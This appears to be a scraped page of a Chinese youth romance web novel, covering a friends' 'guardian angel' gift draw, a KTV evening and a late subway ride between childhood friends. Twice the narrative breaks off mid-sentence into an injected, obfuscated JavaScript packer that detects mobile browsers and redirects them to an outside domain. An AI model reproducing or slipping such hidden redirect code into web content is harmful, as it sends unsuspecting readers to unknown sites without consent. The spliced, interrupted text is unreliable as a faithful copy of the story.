“送礼可以,干活不行。”池列屿也在茶几旁边席地而坐,挨着许朝露。他指尖捏着吸管,噗的一声插进冷饮杯,低头吸了口,皱眉,“什么玩意儿。” 许朝露:“我觉得挺好喝啊。你的是不是太甜了?可以加点苏打水。” “算了。将就喝。”他百无聊赖咬着吸管,一只手抓着手机不知道在看什么,手机隔一会儿震动一下,他眼神不太耐烦。 贺星诀埋头在纸条上写名字,还能分神调戏兄弟:“又有人找池大校草炮轰式告白了?” 池列屿:“竞赛群里的来问问题,男的女的都不清楚。” 许朝露瞄了眼他手机:“头像像是女的……啊,约你一起自习了,你要不要回一句?一直不回会不会不礼貌。” 池列屿把手机丢给她,冷笑:“你礼貌你来回。” 许朝露:…… 拢共四个纸条,贺星诀搁手里天灵灵地灵灵摇了八百回——只要不是池列屿抽到他就行——他在心里默念着,让三人挨个抽纸条。 许朝露第一个抽,打开纸条看了眼上面的名字,立刻折起来塞进口袋。 池列屿手机还丢在她面前,那个昵称叫“洋洋”、头像是只小羊的人忽然发来一篇小作文,许朝露不巧看见了: 【学长,我的问题对你而言太小儿科了吧?你不回答也没关系,我就是想和你说点话。记得你去年国赛摘金后回竞赛队的时候说过,你是因为从小偏科太严重才决定走竞赛,直到杀进国赛你其实都没有明确的目标,就是心里有股不服输的劲儿,也许只是关于一件事,或者关于一个人,但只要有这股劲在就能对自己狠下心,就能勇往直前。你不知道你的话对我触动有多大,所以我今天想问的是,我可以把你当做目标吗?感觉如果你站在终点的话,我会充满了力量……】 “看完了吗?” 许朝露回神,撞上池列屿冷淡玩味的视线,冷不丁把手机推回去给他:“你魅力会不会太大了点?” 池列屿捞走手机,胳膊散漫地搭在屈起的腿上,看动作,像是要把这个学妹删了。 “真冷酷啊。” “没有谁会在终点等谁。”池列屿说,“更何况,挫败也能带来力量。” “你挫败过吗你就说。”许朝露眯起眼,在她高三最挫败的阶段他已经美美保送K大,在她看来,天底下只有他池列屿不想要的东西,就没有他得不到的。 池列屿懒得搭理她,低头瞥了眼贺星诀刚才塞过来的纸条。 贺星诀:“没有人抽到自己吧?” “没——有——” “我抽到自己了。”池列屿举手,“申请重抽。” “滚吧,真抽到自己你才不会重抽。” “就是就是。”许朝露点头如捣蒜。 抽到池列屿的明明是她。 4. 天使 喝完冷饮便各自散了,许朝露到家不久,就收到舒夏发来的一连串消息—— 夏夏:【忘记拍你们的录取通知书了!】 夏夏:【被暴瘦的贺星诀吓傻了,艾玛,我的朋友都这么帅,我以后上大学怎么找男朋友TAT】 夏夏:【守护天使持续多久啊?能不能到开学以后?如果守护我的是池列屿,我想让他陪我去我学校显摆一圈,贺星诀也行,嘿嘿】 夏夏:【对了,看你俩今天相处那样,是和好了吧?】 喜之郎:【应该算和好了吧】 喜之郎:【你只要男的守护你啊?我就不行?】 夏夏:【你和他们不一样,你本来就应该经常去我学校找我!敢丢下我试试!】 夏夏:【我也会经常去找你的】 夏夏:【我现在算是明白贺星诀高中三年什么滋味了……】 许朝露一时间不知道该回什么,胸口酸涩发闷。她和舒夏初中高中都同班,家又住得近,整整六年连体婴似的从未分开。熬过高考让人骤然解脱,副作用就是残酷的别离,友情究竟是历久弥新还是像抛物线一样存在顶点,只能交给时间去验证。 和舒夏闲聊到饭点,阿姨做好饭,许朝露独自坐在餐桌边慢腾腾地吃。 爸妈前阵子请假陪她旅游,落下不少工作,这几天都忙到深夜才回家。 吃完坐在客厅玩手机,贺星诀在他们的四人群聊里发了段贝斯炫技视频。 胖橘:【牛逼不?就问你们牛逼不!】 许朝露正愁吃太饱没地儿消遣—— 喜之郎:【咦,我怎么听不见声音?】 喜之郎:【原来是贝斯啊,难怪】 如果给世界上最脆弱的东西排个序,泡沫姑且能排第二,第一名一定是贝斯手的自尊心。 胖橘:【靠!!!】 胖橘:【要不是你和吃草当年背着我先去学了吉他,我至于去学贝斯吗】 胖橘:【一支乐队里为什么不能有三个吉他手TAT】 喜之郎:【因为需要有人抱着贝斯当吉祥物】 喜之郎:【大橘大利,吉祥物非你莫属】 胖橘:【……】 胖橘:【这个群里难道没有我的守护天使吗[大哭]】 “胖橘”是许朝露给贺星诀的备注,似乎已经不太适合现在的他了。 改成什么?瘦橘?纸片橘?185-74-K大电子系-橘? 都不如胖橘亲切可爱。许朝露暂时没什么好思路。 倒是群里另一人,头像是与深夜融为一体、星罗棋布的漆黑岛屿,每个像素都透着冷冽傲慢,一看就不是吃素的。 许朝露心血来潮,删掉“吃草”两字,给他换了个新备注。 她对新备注满意得冒泡,戳进他聊天框,没话找话—— 喜之郎:【快去群里守护一下橘子,他都哭了】 几分钟后。 野玫瑰:【?】 这备注是真带劲。 许朝露截了张图,感觉心跳都走失几拍。 喜之郎:【你不是他的守护天使吗?】 野玫瑰:【?】 喜之郎:【把你问号键抠了】 野玫瑰:【?】 野玫瑰:【这不还在?】 好冷。 许朝露身不由己地笑了下。 喜之郎:【不想和你说话了】 池列屿不再回复,许朝露放下手机,刚才被贺星诀的视频勾得有些手痒,她回房间抱出一把木吉他。 高考完她也上了两节吉他课复健。许朝露的手长得小,手劲儿也小,没什么弹琴天赋,小时候和池列屿一起学琴就被他碾压得死死的,他练五分钟就熟练的技巧,她练一周都不一定能掌握,很打击人。 后来安慰自己,乐队里有一位花里胡哨的吉他高手就行,她这把吉他重在参与,学好了加分,学废了也不影响她的主唱地位。 许朝露抱着吉他慢慢调音,丢在桌上的手机震了震,她俯身捞起来,看到池列屿发来一条新消息。 还是语音。 野玫瑰:“你才是他的守护天使吧。” 冷峭懒散声音,被杂乱的背景音包裹着,透出几分迷离。 许朝露:? 十分钟前的聊天内容他现在插一句?用的2G网? 等一下…… 许朝露将手机听筒贴到耳边,反复听了几遍这条语音,从喧嚣的环境音中分辨出了耳熟能详的流行乐和五音不全的歌声。 许朝露嚯地放下怀里吉他,电话轰炸池列屿:“你竟然背着我去唱K?” 许朝露从小到大的外号数不清,最剽悍的莫过于“露霸”——不是路霸的霸,也不是学霸的霸,是麦霸的霸。 “小点声。”池列屿戴上降噪耳机,人仰靠着沙发,头顶斑斓的彩灯旋转,暗色光点划过棱角分明脸庞,他瞭着大屏幕,嗓音乏然,“饭后临时添的局,来了才知道是ktv。” “都和谁聚会啊,能带上我吗?” “都预科班的。” “哦,那也是我的大学同学。”许朝露自来熟得很,“位置发我啊。” “一家新开的店,挺远。”没说不让她来。 “不碍事,我现在就出发。” 撂了电话,许朝露收到位置信息,对着镜子重新扎了个马尾,素净脸庞清清爽爽,这便出门。 最后一抹晚霞在天际缠绵,正值下班高峰期,打车软件显示拥堵,坐地铁反而更省时。 许朝露进入地铁站,两只耳朵都塞着耳机,低头刷刷翻歌单。 她打算提前二十分钟把想唱的歌发给池列屿,让他先帮她点上,免得到了之后还要等半天才能唱。 十几公里外的ktv包厢,池列屿坐在光线最暗的角落,游离众人之外。 刚开始还有人给他递麦,无一例外都被拒绝。池列屿也没表现得太不近人情,就是摆手婉拒,但他那张脸实在太冷淡,挺拔锋利眉眼,帅得掉冰碴,即便不声不响气场也在那儿,渐渐的就没什么人凑上去烦他,只有两个之前集训队里关系不错的男生和他有一搭没一搭地闲聊。 在场的预科班同学都来自计科系,十几人里只有两个女生,坐得离池列屿稍远,目光三不五时掠向他那儿,窃窃私语—— “你和池列屿分到一个班了吧?慕了,能和这种极品帅哥同班。” “我也觉得我运气超好。”女生低笑,“你猜他有女朋友吗?” “我感觉没有。不知道为什么,就觉得他长得不像有兴趣谈恋爱的样子。”另一女生说,“刚才他说要叫个朋友过来,有提是男的女的吗?” “说是他发小,应该是男的吧。” “哇你看,他怎么去点歌了?我还以为他不喜欢唱歌呢。” “他声音很好听啊,期待住了。” …… 一口气点了七八首,池列屿握着手机折回原位,收获无数注目礼。 “可以啊屿神。”保送生之间都爱戏称对方为神,池列屿的分数在他们中都算高的,称谓一直在天上飘,就没下来过,“终于要一展歌喉了?” 池列屿懒得解释,坐下拿牙签插了块西瓜扔嘴里,甜滋滋汁水泛滥,他一块接着一块,慢悠悠清空果盘。 不知过去多久。 一首歌恰好收尾,新的前奏响起,已经到他点的第一首。 “谁的歌啊?” “不是我。”“也不是我。”“好像是屿神……” 池列屿瞥眼手机,不出意外,消息栏跳出新讯息:【这是哪,救救我……】 “你们先顶别的歌上来。”池列屿起身,半边身子被灯光扫过,乍然明亮乍然又暗淡,“我去接人。” 早该预料到的。 许朝露这人,学习上的事情没有她不拿手的,再复杂难解的题她都能一丝不苟十全十美地做出来,可一到学习以外的事儿,她就像夏秋之交的天气,时而晴朗时而混乱,不能说生活完全不能自理,就是隔三差五要犯迷糊,丢三落四,像今天这样路痴症犯了把自己都弄丢的事儿也常有。 这片是新开发的商场,ktv在下沉广场里,周围店面入驻率不高,行人稀少,到处空荡荡,灯光也昏暗萧条。 许朝露绕了一圈又回到十分钟前下来的扶梯附近,有被自己蠢到,整个人无助得想笑。 不多时,前方出现一道熟悉身影。 高瘦挺拔少年,穿纯黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947513|160848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' T恤和灰色运动裤,身板比衣架子还周正,远看轮廓线条干净利落又透着疏冷,惨白灯光像雾气一样弥散,有种电影画面的质感。 不知道为什么,看见他的那一刻许朝露心就定了,安全感爆棚。 她朝他跑过去:“这底下好复杂,你怎么这么快就找到我了?” “没觉得复杂。”瞥见少女额上的细密汗珠,又急又热的样子,池列屿很没品地扯唇嗤了声,掏出餐巾纸丢给她,“不知道的还以为你在这儿跑了个马拉松。” “就你方向感好。我自己有纸啦。”这么说,许朝露还是用他的纸擦了汗,感觉从他口袋里拿出来的纸巾都带有一股清冽草香,擦在脸上泛着鲜嫩葱茏的凉意。 转两个弯,再走不远就到ktv。 池列屿推开包厢门,许朝露跟在他身后走进去。 一男生站在台上声嘶力竭唱民谣,转头望见他俩,像磁带卡壳,包厢里突如其来的安静。 “不好意思啊,我刚才迷路了。”许朝露冲众人抱歉笑笑,梢头新雪似的皮肤透出酥粉色,声音也轻轻柔柔,“大家好,我叫许朝露,是池列屿的发小。” 水蜜桃一样清新漂亮的少女,尤其是那双杏眼,纯又媚,一颦一笑潋滟含光,包厢里别提男生了,女生都有被她电到。 就装吧。谁装乖装得过她。 池列屿懒得停留,拔腿朝前走,随便找了个地方坐下。 控制台那边有人特意调低音响音量,好听清许朝露说话。许朝露一路打招呼,跨到池列屿身旁,端坐下来。 “我叫李翔,他是周子韬,我们都是K大计科系的,和池列屿一个班。”坐许朝露左手边的两个男生和她套近乎,“小姐姐和我们一届吗?刚高考完?听说这次卷子挺难的。” 许朝露:“嗯,是比前几年难。” “那你考得怎么样?” “我……” “你有病啊,问人家这个干嘛。”另一男生推他,“高考都没参加的人,现在来关心个屁。” “不问了不问了,高考算啥啊,考完解放最重要。” 顾及她的面子,他们不再打听她成绩。 当然没有恶意,但也算不上善良,女孩子颜值越高越容易被看低才华,加之许朝露一进来就是个迷糊美人的人设,跟在池列屿身后像朵柔弱小白花,在场都是顶级学府的保送生,下意识将她排除在他们圈子之外,产生了居高临下的保护欲。 比起她的成绩,大家更关心她和池列屿之间的关系。 “十八年的发小?那不是刚出生就认识了?” “和屿神当朋友挺虐的吧,我和他才认识几个月,集训的时候被虐得可惨。” 许朝露瞄一眼池列屿,对众人笑:“你们都很厉害。” “哪里,臭竞赛的而已。”十几岁的男孩子,再自谦也掩不住臭屁德性,“运气好拿了个金牌,集训队都差点没进去。” 许朝露:“要进集训队才能保送K大吧?” “是啊,光拿金牌没用。不过保送还是比高考容易点,让我去高考,能考666我都烧高香。” “666也太高了,我觉得我只能考630。” “有600就不错了!” “我语文超差,勉强能上500吧。” …… 一场比谁高考考得更低的竞赛在保送生之间莫名其妙地展开。 这群傻叼该不会以为这样能让许朝露感到安慰吧? 池列屿无语到想笑,拿起手机按了几下,然后整个人向后仰靠去,四大皆空的样子,闭目养神。 包厢里好几部手机同时震动,有人点开微信,嘀咕:“突然发什么……” 预科班群里,池列屿刚转了条上个月的新闻进来—— 【喜报!师大附中本部高三2班许朝露同学以727分勇夺高考状元,刷新云城有史以来高考最高分记录,和第二名拉开18分差距……】 新闻里配了张照片,女孩束着清爽的大光明马尾,面朝镜头抿唇浅笑,眼睛好像会说话。 …… “怎么都不说话了?” 许朝露敲敲池列屿的腿,让他把旁边那个话筒递过来,“那我要开始唱歌了哈。” 5. 天使 在座的保送生大半是云城人,“许朝露”这个名字他们上个月肯定听说过,这会儿终于浮起印象。 云城人口繁盛,是一线直辖市,每年通过竞赛保送顶级学府的学生少说都有二三十个。 但高考状元只有一个。 包厢里的空气诡异地凝固了。 几个没注意手机的不明就里,很快就被身旁的人按头去看群里消息。 几秒后,空气又骤然沸腾—— “牛波一!状元竟在我身边!” “727分是人考的吗?是挂吧,我恐高症要犯了。” “服了,池列屿你为什么不提前介绍一下,搞得我们好像傻子啊。” …… 许朝露有点受不了大家的热烈反应。她不是多低调的人,只是觉得没必要走哪儿都把“我是高考状元”挂在嘴边,她来这儿的目的也不是为了炫耀自己多牛逼。 她只想唱歌,挺急的。 池列屿还在装死,麻木不仁地双手抱胸,头撇向另一边,只露出后脑勺,乌黑蓬松的头发被头顶灯光一晃,显得还挺柔软。 “腿收一收。”许朝露喊他,“我要上去唱。” 话落,斜伸进过道的两条长腿慢悠悠往里收了点,许朝露挤过去,暗中踩了他一脚,神清气爽上台,握住了立麦。 今晚第一首歌,先声夺人,她唱《K歌之王》。 前奏一放就有人叫好,许朝露都还没开始唱。 到她唱的时候,忽然又安静了。 池列屿终于舍得睁开眼,视线懒散转悠一圈,不出意外看到一个又一个下巴往下掉——许朝露唱歌是真好听,那把嗓子不当麦霸都对不起她自己,质感清澈干净,音域宽阔稳定,唱男生的歌时嗓音比她平常说话低沉一些,有更强共鸣感。不论听多少次,还是很吸引人。 高考状元已经够让人惊喜了,唱歌还这么好听,简直是行走的CD,大家捡起下巴之后立刻开启演唱会应援模式,一帮人鼓掌尖叫,一帮人激情摇摆,气氛热火朝天,许朝露唱得也带劲,硬是把有点悲情的歌唱出了嗨歌的炸场感。 无人在意的角落,包厢门缓慢打开,一个清瘦如竹的男生走进来,撞见里头群魔乱舞,他身形一顿,退出去看了眼包厢名才敢继续往里进。 经过演唱台,他猝不及防对上一双乌黑熠亮、漂亮到过分的杏眼。 “谁人又相信,一生一世这肤浅对白, 来吧送给你,叫几百万人流泪过的歌。” 饱满有力的副歌,情绪也热烈,女生边唱边大方地和他对视,好像他们是认识很多年的好友。 陈以铄呆在原地。 他刚才出去接了个电话,因为独自借住在云城亲戚家,母亲不放心,唠叨叮嘱了他许久。 不知错过了什么,包厢里气氛天翻地覆,似乎变成了这个陌生女孩的个人演唱会。 抽回目光,陈以铄的脸有点红了。 他很少和女孩子直接对视,更何况是这么漂亮的女生。 他低下头,快步走到包厢右侧,才发现之前坐的位置现在有人了。 计科系人工智能班的池列屿,走信竞的,陈以铄是数竞生,和他并不熟。 一起学过几个月预科,他知道池列屿在他们这群保送生里也是天之骄子般的存在,女生面对他会脸红,男生也爱围着他,看起来挺冷淡一人,但大家都爱和他玩。 热闹沸腾的场合里,池列屿望着台上唱歌的少女,平静得格格不入。许是摇曳的光影模糊了棱角轮廓,陈以铄莫名觉得他和平常有点不一样。 池列屿坐在沙发靠边,右边只剩一小片位置,左边的空位稍大些。 陈以铄低声抱歉,从池列屿膝盖前边挤过去,来到他左手边。 正欲坐下,头顶彩灯一晃,照出沙发座上一部黑色手机,不知是谁随手丢在那里。 陈以铄坐也不是,尴尬地打直腰,又从池列屿身前挤回去,在他右边那块并不宽敞的地方侧着身子坐下。 直到这时,池列屿才后知后觉地往左挪了点,让陈以铄有空间靠一靠沙发背。 陈以铄道了声谢,注意力很快被台上握着立麦唱歌的少女吸引。 连他这样拘谨的人,也忍不住打起节拍,两手搭在膝上有节奏地敲击,脚后跟轻轻垫踩,身体也在小幅度摆动。 池列屿用余光瞥他。 没印象这人叫什么,看起来乐感挺强,应该有玩乐器的经验。 连唱十几分钟,许朝露嗓子冒烟,终于舍得下台歇会儿。 陈以铄看到她朝这边走过来,连忙收腿让她经过,许朝露对他笑了笑,走到池列屿那儿,似是嫌路不够宽,她抬腿踢池列屿,后者没啥反应,漫不经心地拿起搁在左边座位上的手机,让她坐下。 原来这个女生是池列屿带过来的朋友。 陈以铄鼓起勇气和她打招呼:“你好,我叫陈以铄。” “你好呀,我许朝露。” “你唱歌太好听了,像听演唱会一样。” 他显然不是外向男生,一句夸赞的话说得面红耳赤,黑框眼镜后的五官清秀干净,柔软的南方口音,衬得整个人更加文弱,像影视剧里背着行囊上京赶考的白面书生。 许朝露试探性问:“你是M省人?” “这么明显吗?” “有点。”其实非常明显,“我刚才唱M省方言歌的时候,看到好几个人给你递话筒。你怎么不唱?等会要不要去点几首?” 陈以铄疯狂摇头。 许朝露哈哈笑:“我唱得还标准吗?” “挺标准的。”陈以铄一本正经,“只有几个比较难念的字错了,还有几个连读不太地道。” 许朝露朋友圈清一色的北方人,第一次碰到M省小伙伴,看起来还特别靠谱,她打开二维码名片递过去:“加个好友吗?以后方便请教你。” 陈以铄下意识瞄了眼池列屿。 许朝露:“你看他干嘛?” 陈以铄语无伦次:“啊,那个,你们是好朋友吗……” “何止是好朋友。”许朝露说,“我和他打娘胎里就一起听胎教音乐,交情比命还长,简直亲如兄妹。” 说完,她用胳膊撞了池列屿一下,让他给点回应。 池列屿跟雕塑似的一动不动,六亲不认样子,眼皮掀开薄薄一条缝觑着电视上播放的MV,不知道谁这么巧点了首歌唱友谊的歌—— “如果不是你我不会相信,朋友比情人还死心塌地, 就算我忙恋爱,把你冷冻结冰, 你也不会恨我,只是骂我几句……” …… 许朝露对他这副拽王样见怪不怪,又把手机往陈以铄那儿递了递。 陈以铄安心加了许朝露微信,顺手点开预科班群聊,看到池列屿二十几分钟前转发的新闻,他眼珠子差点掉出来。 “你是高考状元啊?太强了!也是K大的吗?” “对啊。”许朝露笑,“以后可以一起玩耍。” 陈以铄又不好意思了:“好……好的。” 三人并排坐,池列屿一个人仰靠在后面,一左一右两人身体都前倾,热聊正酣。包厢里音响隆隆,两颗脑袋为了听清对方说话,越凑越近。 池列屿觉得自己就像个碍事的扶手箱。 “起来。”他面无表情地敲了敲许朝露胳膊,“咱俩换个位。” 许朝露点点头,刚站起身,她点的歌又到了。 “我的我的!” 麦霸忙不迭转身要上台,熟料动作幅度有点大,膝盖咚地撞到桌沿,整条腿瞬间麻了。 许朝露吃痛低呼,不受控地歪坐下去,正好坐到池列屿腿上。 好硬。 还很扎实,稳稳当当的,晃都没晃一下。 只一瞬,许朝露缓过劲儿,飞快弹起来。 交情再好也不是能坐腿的关系,少女耳尖漫上血色,丢下“谢了”两个字,仓促跑上台。 刚说要换位置的人,这会儿又懒得挪动了,优哉游哉靠回沙发,两条长腿肆意敞着,膝盖几乎能顶到桌沿。 许朝露走上台,脸颊被灯光一照,像颗熟透的水蜜桃。 从台上往下看,昏昧空间里,池列屿那张脸醒目得有点过分,红蓝紫三色射灯晃来晃去,将他本就优越的骨相照得更立体,冷白皮得天独厚,和其他人仿佛不在一个图层。 陈以铄似乎想和他搭话,磨蹭半天还是放弃了。池列屿脸上没表情的时候看起来确实挺唬人,拽得没边,但他只是性子冷,懒得交际,真交际起来其实是挺礼貌一人,家教很好,所以那些半生不熟的朋友都很迷他,等到熟透了,又会发现他骨子里确实带点傲,人也怪欠的。 六点多开的包厢,八点的时候又续了两小时,到十点才散场。 池列屿请客付钱,没让别人A。 从七点开始几乎都是他带来的人霸着麦,哪好意思管别人要钱。 许朝露去上卫生间,洗手的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947514|160848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,碰到了刚才包厢里的两个女生。 女孩子们惺惺相惜互相吹捧,话题不知怎的,聊到池列屿身上。 许朝露:“女朋友?他没有,从来没谈过。” “哈哈,我猜对了。”一女生笑说,“不过,上大学肯定会谈了吧。” 许朝露正在冲手上的泡沫,盯着透明的水流看了会儿,她点头:“是的呢。” 上大学谁不谈恋爱啊。 离开洗手间,转过一道弯,她看到池列屿站在通道尽头等她。 他左手抄兜,右手拿着手机在看,身影修长挺拔,像棵白杨意气风发,又带着股难以忽视的冷冽劲儿,头上肩上落满斑斓的彩色光点,远远望过去特别有腔调。 不得不说,这样逆天的皮囊,哪个妹子碰上不是五迷三道,想谈恋爱简直是分分钟的事儿。 许朝露朝他走过去:“地铁还没停吧?我们坐地铁呗。” 池列屿:“这个点打车更快。” “我想走点路嘛,散散酒气。” “你今晚才喝几口?” “……”许朝露瞪他,“几口也是酒,被我爸妈闻到又要唠叨半天,他们眼里我好像还是小学生。” “哦。”池列屿笑了下,“你不是吗?” 许朝露深吸气:“别逼我捶你。” 她那小拳头,捶人和挠痒痒似的,完全没有威慑力。 池列屿抻了抻肩骨,浑身散着欠劲儿,把手机上刚叫的网约车取消掉,懒洋洋朝ktv门口走去。 外头漆黑闷热,道路横七竖八错综复杂,许朝露跟在池列屿身后,发现他都不用看地图,就轻而易举地领着她找到地铁口,方向感强得像个天眼机器人。 这条地铁是云城最大干线,过了晚上十点,客流依然可观。 许朝露找了个没人的站台门,和池列屿一前一后站着等候列车。 列车驶近时,地底隧道不算凉爽的风扑面而来。 许朝露盯着渐渐减速的列车,突然叹了口气。 运气真差。 她选的这道站台门对应的车厢好挤,估计没有位子坐。 列车停稳,等待站台门开启的几秒,许朝露随手抄了抄口袋,摸到一方叠起来的纸片—— 她是池列屿的守护天使来着! 怎么把这事儿给忘了。 许朝露将纸片拢在掌心,下意识转头看了眼身后的少年。 滴滴滴—— 池列屿不知道她又犯什么迷糊,在站台门开启的一瞬间,突然转过来看他。 杏眸水亮,眼神透着点呆。 下车的乘客涌出,池列屿不得不抓住许朝露的手腕,将堵在门口的她往他这儿带了带。 距离拉近。 杂沓的脚步声在身后响起,许朝露抬眼看到少年锋利的喉结,在很近的地方轻轻滚动。 她睫毛眨两下,接着垂下去,看了眼他扣在她腕间的手。 不知想到什么,许朝露提起唇角:“你是我的守护天使吧?” 初中玩的那次,她的守护天使就是池列屿。 那段时间他们小区周边修建新地铁线路,到处都在施工,开车或者乘公交都非常不便。池列屿开始骑自行车上学,许朝露骑得不好,依然选择坐公交,每天都要比从前提前半小时出门才不会迟到。 直到某天早晨,她出门上学,在单元门口碰到池列屿,似乎在等她。 少年从口袋掏出一张纸条,递给她,上面写着她的名字。 身旁停了辆黑色山地自行车,不知何时已经加装了后座。 许朝露当时觉得他真像个从天而降、金光闪闪的天使。 从这天起,许朝露每天都由池列屿载着去上学。 持续十来天之后,她嫌后座硌屁股,又怂恿池列屿去装了一对后轮脚柱,让她可以站着乘车,贼拉风。 那几年交通管得不严,路上多的是骑车骑得风驰电掣还载人的小屁孩。 许朝露永远忘不了那一个月被守护的时光,她站在自行车脚柱上,高高地迎着风,和其他站着乘车的同学比速度,从来没有输过。 载着她的十三岁小少年,黑发潇洒地向后飞,白色校服被风灌得鼓鼓囊囊,许朝露双手搭在他肩上,紧紧贴着他清薄的绷紧的肌肉,好几次觉得自己就像电影《千与千寻》里的千寻,而池列屿是载着她在天空翱翔的小白龙,通身雪白的龙鳞闪烁,风永不停歇地扑面而来,一切烦恼都被抛到望也望不见的最远处。 6. 天使 站台机械的广播音响起,将许朝露的思绪拉回现实。 上次玩守护天使时才读初一,一晃六年过去,记忆还像刚洗出来的照片一样清晰。 池列屿在这时松开她手腕,丢下两个字:“不是。” 许朝露有那么一丁点失落。 转头望了眼车厢,她忽然反过来抓住池列屿胳膊,带着他冲进车门,灵活蛇行,挤到一个空座前边。 “你快坐。”这可是你的天使为你抢的座。 池列屿:“我站着就行。” 许朝露推他:“再不坐就被别人抢走了!” 池列屿不想弄出太大动静,只好顺着她意,弓起高大的身子,挤在一排上了年纪的爷爷奶奶中间坐下。 说真的,有点尴尬。 许朝露守在他跟前,心满意足拉着吊环,边哼歌边晃来晃去。 “今晚人真多啊。” “……” “是不是周末?毕业之后都没有周中周末的概念了呢。” “……” “干嘛不说话?”许朝露踢一下池列屿鞋尖,“假装不认识我?” 池列屿抬起眼睛:“你谁?” 许朝露:“……” 我是你个bking的天使! 许朝露没骂出声。谁让她手欠抽到这货,就当下凡渡劫了。 地铁停靠下一站,这一排有人下车,空出的座位和池列屿之间隔着两个老人家。 坐池列屿左边的奶奶很有眼力见地推推老伴,两人一起往左挪了一个位,动作还挺矫健,把池列屿身边的位置空了出来,一脸慈祥地冲许朝露笑。 许朝露怔了怔,乖巧道谢,一板一眼地坐下。 池列屿没什么反应,仍在低头看手机。 许朝露问他:“你不是我的天使,也不是贺星诀的天使,那只能是舒夏的了?” 池列屿:“之前说了,我抽到我自己。” “切。” 许朝露攥住了口袋里的纸条,缓缓往后靠。 列车和轨道摩擦的轰鸣声在耳畔回响,窗玻璃上倒映着行形形色色的陌生面孔,身旁少年无意识抬手捏了下耳垂,忽然也向后靠过来,冷亮灯光从他发梢坠落到鼻梁,修长劲瘦的手臂几乎贴着许朝露,有干净又炽热的体温传递过来。 接下来该怎么守护他呢?他有什么需要帮忙的吗?想收到什么礼物吗? 许朝露一头雾水。池列屿绝对是他们四个人中最难守护,也最不需要守护的一个。 手机有新消息,许朝露看了眼,是刚才在ktv洗手间加的女生,发来了她名字。 许朝露喜欢交朋友,今晚加了一堆微信,那些人池列屿都不一定有加。 许朝露将女生的名字备注上,自然而然想起她们在洗手间聊的话题。 说实话,她也很好奇,以前似乎从来没有和池列屿讨论过这类话题。 “你上大学之后。”许朝露问他,“会谈恋爱吗?” 这问题来得突兀,池列屿偏头看她。 少年睫毛长而笔直,掩着一双淡薄黑眸,像窗外绵延不尽的隧道,深邃却不沉闷,让人无比期待迎来光亮的一刻。 “突然问这个干嘛?” “随便问问。”许朝露忽然想到,这或许是她为数不多实现守护天使价值的机会,“如果你想找对象,我可以帮你。” 池列屿兴味索然:“你怎么帮?说得好像你有经验?” “我是女生啊,可以帮你出谋划策。”许朝露脑内构思了下,结果发现自己竟然想象不出池列屿猛追一个女生是什么画面,感觉他这样的人追谁都是手到擒来,那好像又没她这个守护天使什么事儿了? “让你出谋划策,我追得到谁?”池列屿轻哂,“管好你自己吧。” “我管挺好的。”许朝露信誓旦旦,“我大学肯定能谈上。” 和绝大多数十七八岁的花季少女一样,许朝露憧憬着恋爱,早在青春期伊始她就为异性心动过,时常幻想电影小说里的浪漫场景发生在自己身上,在日记里添油加醋地记录每一次心跳加速的经历,甚至还为第一次喜欢的男生写了首歌。 如今终于翻过高考这座大山,许朝露觉得自己说什么也要尝尝爱情这碗粥的咸淡。 见她一脸志在必得,池列屿顺口问:“你有目标了?” “没有。”许朝露歪了歪头,忽然想到一个人,笑着对池列屿分享,“你知道吗,时越学长和我同院同专业呢,以后我就是他的直系学妹了。” 时越比他们高一级,也是云城人。去年高考,全国只有两个语文作文满分的考生,时越就是其一。云城几所重点高中都流传有他的优秀作文集,许朝露一个人就收集了三种不同版本,其中好几篇文章她都倒背如流。 从初中开始,许朝露就偏爱有文采的男孩子,她高二喜欢过的那个李景轩就是文科生,作文一年到头都贴在优秀作文展示墙上。 池列屿:“哦。” 短促冷淡的单音节,显然毫不关心她和她偶像如何。 许朝露也不和他多聊。全世界都知道池列屿文科成绩稀烂,时越学长那种天赐的才华应该挺打击他的。 “你还没有回答我呢。”许朝露碰了碰他胳膊,“上大学谈不谈……” “不谈。”池列屿斩钉截铁,像听见一件多烦人的事儿,“没兴趣。” “好吧。”许朝露不意外他会这么说,挺符合拽王一贯的风格。 后半程两人都没怎么说话,各玩各的手机。 出了地铁,浓厚的云层一片片包裹住月光,夜风像湿热的河流将人从头淹没到脚。 路灯昏黄,两道斜长的影子在地上悠悠前行。 后面疾驰来一辆电动车,猛然按响喇叭,高一点的影子将矮一点的影子拽到道路内侧,矮一点的影子顺势蔓延到路边花坛围沿上,变得和高的影子一样高,踩着窄窄的边石摇晃前行。 “等会儿摔泥里别嚎。” “你手长来干嘛?我摔了你不会捞我吗?” “我凭什么捞你?” “就凭……我们马上又是大学同学了。”许朝露笑眯眯,“幸好你选了K大计科系,不然高中那几百顿饭我可不还了。” 你好意思说。 池列屿付之一哂,舌尖刮了刮虎齿,垂眼盯着地上两道影子,被路灯拉得越来越长,不知道还能延伸到多远。 走过小区中心花园,前方不远就是池列屿家那栋楼。 许朝露从花坛围沿上跳下来,想问他接下来到开学有什么安排。 就在这时,她望见前方斑驳树影里站着一个人,很眼熟。 “思彤?”许朝露喊了声,转头对池列屿说,“还记得我以前和你提过的16班大提琴女神吗,就是她。” 池列屿望着那边,神色漠然。 